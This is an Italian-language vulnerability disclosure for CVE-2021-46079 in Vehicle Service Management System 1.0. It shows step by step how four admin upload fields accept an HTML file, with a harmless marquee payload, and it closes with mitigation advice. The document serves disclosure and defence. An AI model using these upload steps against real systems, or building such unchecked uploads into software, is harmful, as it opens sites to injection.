CVE-2021-46079
Titolo dell'Exploit: Vehicle Service Management System - 'Multiplo' Caricamento file porta a Iniezione HTML
Autore dell'Exploit: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 ALTO
Riferimenti:
Descrizione:
Una vulnerabilità di caricamento file senza restrizioni esiste in Sourcecodester Vehicle Service Management System 1.0. Un attaccante remoto può caricare file malevoli portando a iniezione HTML.
1. Vehicle Service Management System - 'Mio Account' (/admin/?page=user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Mio Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salva il codice HTML sopra, ad esempio Html Injection.html
- Nella sezione Mio Account inserisci tutti i dettagli richiesti e carica il file HTML in Avatar.
- Clicca sul pulsante Aggiorna.
- Apri l'immagine dell'avatar in una nuova scheda.
- L'iniezione HTML viene eseguita.
2. Vehicle Service Management System - 'Elenco utenti' (/admin/?page=user/manage_user)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Elenco utenti e clicca sul pulsante Crea Nuovo.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salva il codice HTML sopra, ad esempio Html Injection.html
- Nella pagina Crea Nuovo Utente inserisci tutti i dettagli richiesti e carica il file HTML in Avatar.
- Clicca sul pulsante Salva.
- Apri l'immagine dell'avatar in una nuova scheda.
- L'iniezione HTML viene eseguita.
3. Vehicle Service Management System - 'Impostazioni - Logo del sistema' (/admin/?page=system_info)
Payload:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Impostazioni http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salva il codice HTML sopra, ad esempio Html Injection.html
- Nella sezione Impostazioni inserisci tutti i dettagli richiesti e carica il file HTML in Logo del sistema.
- Clicca sul pulsante Aggiorna.
- Apri l'immagine del Logo del sistema in una nuova scheda.
- L'iniezione HTML viene eseguita.
4. Vehicle Service Management System - 'Impostazioni - Copertina del sito web' (/admin/?page=system_info)
Exploit:
- Accedi al pannello di amministrazione http://localhost/vehicle_service/admin
- Vai alla sezione Impostazioni http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salva il codice HTML sopra, ad esempio Html Injection.html
- Nella sezione Impostazioni inserisci tutti i dettagli richiesti e carica il file HTML in Copertina del sito web.
- Clicca sul pulsante Aggiorna.
- Apri l'immagine della Copertina del sito web in una nuova scheda.
- L'iniezione HTML viene eseguita.
Impatto:
Un attaccante può caricare un file malevolo in vari endpoint, portando a iniezione HTML.
Mitigazione:
Si raccomanda di implementare quanto segue:
- Non accettare mai un nome file e la sua estensione direttamente senza un filtro whitelist.
- Se non è necessario avere caratteri Unicode, è altamente consigliato accettare solo caratteri alfanumerici e un solo punto come input per il nome file e l'estensione.
- Limitare la dimensione del file a un valore massimo per prevenire attacchi denial of service.
- La directory di upload non dovrebbe avere alcun permesso di "esecuzione".
- Non fare affidamento solo sulla validazione lato client.